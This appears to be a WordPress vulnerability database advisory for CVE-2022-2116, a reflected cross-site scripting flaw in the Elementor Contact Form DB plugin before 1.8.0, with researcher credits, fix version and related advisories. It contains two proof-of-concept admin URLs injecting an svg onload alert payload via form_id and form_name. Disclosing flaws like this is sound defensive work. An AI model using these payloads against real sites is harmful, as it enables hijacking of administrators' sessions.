Elementor Contact Form DB < 1.8.0 – Reflected Cross-Site Scripting | CVE 2022-2116 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape some parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting

Proof of Concept

When there is at least one submission:

https://example.com/wp-admin/edit.php?post_type=elementor_cf_db&page=sb_elem_cfd&form_id="><svg/onload=alert(/XSS-id/)>
https://example.com/wp-admin/edit.php?post_type=elementor_cf_db&page=sb_elem_cfd&form_name="><svg/onload=alert(/XSS-name/)>

Affects Plugins

sb-elementor-contact-form-db

Fixed in 1.8.0

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

ZhongFu Su(JrXnm) of WuHan University

Submitter

ZhongFu Su(JrXnm) of WuHan University

Submitter website

https://blog.szfszf.top

Submitter twitter

Verified

Yes

WPVDB ID

01568da4-2ecf-4cf9-8030-31868ce0a87a

Timeline

Publicly Published

2022-07-19 (about 3 years ago)

Added

2022-07-19 (about 3 years ago)

Last Updated

2023-04-18 (about 2 years ago)

Other

Published

Title

Published

2025-05-20

Title

WP Post Modules for Elementor <= 2.5.0 - Reflected Cross-Site Scripting

Published

2025-10-17

Title

WPBakery Page Builder < 8.7 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2023-01-17

Title

YaMaps for WordPress Plugin < 0.6.26 - Contributor+ Stored XSS

Published

2025-04-24

Title

Able Player, accessible HTML5 media player < 1.2.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via preload Parameter

Published

2025-03-13

Title

DethemeKit for Elementor < 2.1.10 - Authenticated (Contributor+) Stored Cross-Site Scripting